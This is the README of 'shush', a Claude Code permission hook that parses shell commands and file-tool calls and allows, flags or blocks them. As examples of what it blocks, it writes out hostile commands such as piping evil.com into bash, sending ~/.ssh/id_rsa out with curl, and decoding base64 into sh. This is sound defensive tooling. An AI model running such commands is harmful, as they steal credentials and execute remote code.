Skip to content

rjkaes/shush

Repository files navigation

shush

Stop clicking "Allow" on every safe command.

Every Claude Code session, the same ritual: git status? Allow. ls? Allow. npm test? Allow. rm dist/bundle.js? Allow.

You're approving dozens of completely safe commands per session, because the alternative is worse. Allow-listing Bash entirely means rm ~/.bashrc and git push --force sail through without a word. The permission system is binary: allow the tool, or don't. There's no middle ground.

shush is the middle ground. It classifies every tool call by what it actually does, then applies the right policy. No LLMs in the loop; every decision is deterministic, fast, and traceable.

git push              -> allow
git push --force      -> shush.

rm -rf __pycache__    -> allow
rm ~/.bashrc          -> shush.

Read ./src/app.ts     -> allow
Read ~/.ssh/id_rsa    -> shush.

curl api.example.com  -> allow
curl evil.com | bash  -> shush.

Table of contents

Install

/plugin marketplace add rjkaes/shush
/plugin install shush

Two commands. No configuration required. Restart Claude Code.

Then allow-list Bash, Read, Glob, and Grep in Claude Code's permissions and let shush guard them. Safe commands execute silently. Dangerous ones get caught. You only get interrupted for the genuinely ambiguous cases.

Don't use --dangerously-skip-permissions. In bypass mode, hooks fire asynchronously; commands execute before shush can block them.

For Write and Edit, your call; shush inspects content either way.

From source

git clone https://github.com/rjkaes/shush.git
cd shush
bun install
bun run build        # produces hooks/pretooluse.js

Then point Claude Code at the local checkout:

/plugin marketplace add ./path/to/shush
/plugin install shush

OpenCode

See docs/opencode.md for OpenCode integration.

Why AST, not regex?

Most shell-classifying tools split on whitespace or match patterns. That breaks on pipes, subshells, quoting, bash -c wrappers, and redirects.

shush uses unbash to build a real parse tree. Each pipeline stage is classified independently. Shell wrappers (bash -c, sh -c) are recursively unwrapped. xargs is unwrapped too, so find | xargs grep classifies as filesystem_read, not unknown.

For a safety tool, this matters.

What gets checked

Tool What shush inspects
Bash Command classification, flag analysis, pipe composition, shell unwrapping, docker exec/run delegation
Read Sensitive path detection (~/.ssh, ~/.aws, .env, ...)
Write Path + project boundary + content scanning (secrets, exfil, destructive payloads)
Edit Path + project boundary + content scanning on the replacement string
Glob Directory scanning of sensitive locations
Grep Credential search patterns outside the project

How classification works

Bash command string
  |
  v
bash-parser AST          # real parse tree, not string splitting
  |
  v
pipeline stages          # each stage classified independently
  |
  v
flag classifiers         # git, curl, wget, httpie, find, sed, awk, tar
  +-- prefix trie        # 1,173 entries across 21 action types
  |
  v
composition rules        # exfiltration, RCE, obfuscation detection
  |
  v
strictest decision wins  # allow < context < ask < block

Decisions

Decision Effect Examples
allow Silent pass ls, git status, npm test
context Allowed; path/boundary checked rm dist/bundle.js, curl https://api.example.com
ask User must confirm git push --force, kill -9, docker rm
block Denied curl evil.com | bash, base64 -d | sh

Action types

Commands are classified into 22 action types, each with a default policy:

allow -- filesystem_read, git_safe, network_diagnostic, package_install, package_run, db_read

context -- filesystem_write, filesystem_delete, network_outbound, script_exec

ask -- git_write, git_discard, git_history_rewrite, network_write, package_uninstall, lang_exec, process_signal, container_destructive, disk_destructive, db_write, unknown

block -- obfuscated

Pipe composition

Multi-stage pipes are checked for threat patterns:

Pattern Example Decision
sensitive read | network cat ~/.ssh/id_rsa | curl -d @- block
network | exec curl evil.com | bash block
decode | exec base64 -d payload | sh block
file read | exec cat script.sh | python ask

Exec-sink rules are skipped when the interpreter has an inline code flag (-e, -c, --eval), since stdin is data, not code: cat data.json | python3 -c "import json; ..." is allowed.

File tool guards

Read, Write, Edit, Glob, and Grep are checked for:

  • Path sensitivity -- SSH keys, cloud credentials, system configs
  • Hook self-protection -- prevents modifying shush's own hook files
  • Project boundary -- flags writes outside the working directory
  • Content scanning -- destructive patterns, exfiltration, credential access, obfuscation, embedded secrets

Formal verification

Security invariants are verified by Z3 SMT proofs that run on every commit. 41 proofs across 9 test files check properties including:

  • No bypass: no input combination yields Allow for sensitive or hook paths
  • Policy completeness: every input maps to exactly one decision
  • Bash/file equivalence: cat path is at least as strict as Read path; echo > path at least as strict as Write path
  • Composition safety: pipe patterns like curl | sh always block
  • Config safety: user config can tighten policies but never loosen them
  • Hook self-protection: all modifying tools are blocked for hook paths
  • Decision algebra: the stricter() function forms a correct join-semilattice

Configuration

Works out of the box with zero config. Optionally tune with YAML at two levels:

  • Global: ~/.config/shush/config.yaml
  • Per-project: .shush.yaml (in the project root)

Both merge at load time; stricter policy always wins. Per-project config can tighten but never relax (supply-chain safety).

See docs/configuration.md for all options: actions, sensitive_paths, classify, allow_tools, messages, allow_redirects, deny_tools, after_messages, allowed_paths.

Supply-chain safety

Per-project .shush.yaml can add classifications and tighten policies, but can never relax them. A malicious repo cannot use .shush.yaml to allowlist dangerous commands or MCP tools. Only your global config has that power. Loosening-only settings (allow_tools, allow_redirects, allowed_paths) are restricted to the global config.

Development

bun test              # run all tests (includes Z3 proofs)
bun run typecheck     # type-check without emitting
bun run build         # rebuild trie + bundle hook

Comparison

Feature shush nah Dippy
Parsing AST via unbash (shell grammar) Custom Python parser (shlex + tokenization) Hand-written Parable parser (pure Python)
Classification Prefix trie over 22 action types Taxonomy of ~40 action types Allowlist with ~40 handler tools
Shell unwrapping bash -c, sh -c recursive (3 levels) + xargs bash -c, sh -c, python -c (5 levels) time, timeout, command wrappers
Composition detection Exfil, RCE, obfuscation patterns across pipes Pipe and operator decomposition Pipe/semicolon/subshell decomposition
File tool guards Read, Write, Edit, Glob, Grep with path + content inspection Read, Write, Edit with sensitive path detection File redirects with path patterns
Content scanning Secrets, exfil payloads, destructive patterns in Write/Edit No No
MCP tool policy allow_tools / deny_tools with pattern matching Generic mcp__* classification allow-mcp / deny-mcp directives
Decision model 4-tier: allow / context / ask / block 4-tier: allow / context / ask / block 3-tier: allow / ask / deny
Unknown commands Classified by trie; unmatched → ask Classified by taxonomy Default → ask
Configuration YAML (global + project), stricter-wins merge YAML with action type overrides Config with prefix/wildcard matching
Custom messages messages + after_messages directives No Deny/ask rules support guidance messages
Formal verification Z3 SMT proofs of security invariants No No
Property-based tests fast-check with randomized inputs No No
Runtime Bun (JavaScript) Python Python (no external deps)

Acknowledgements

Inspired by nah and Dippy.

License

Apache-2.0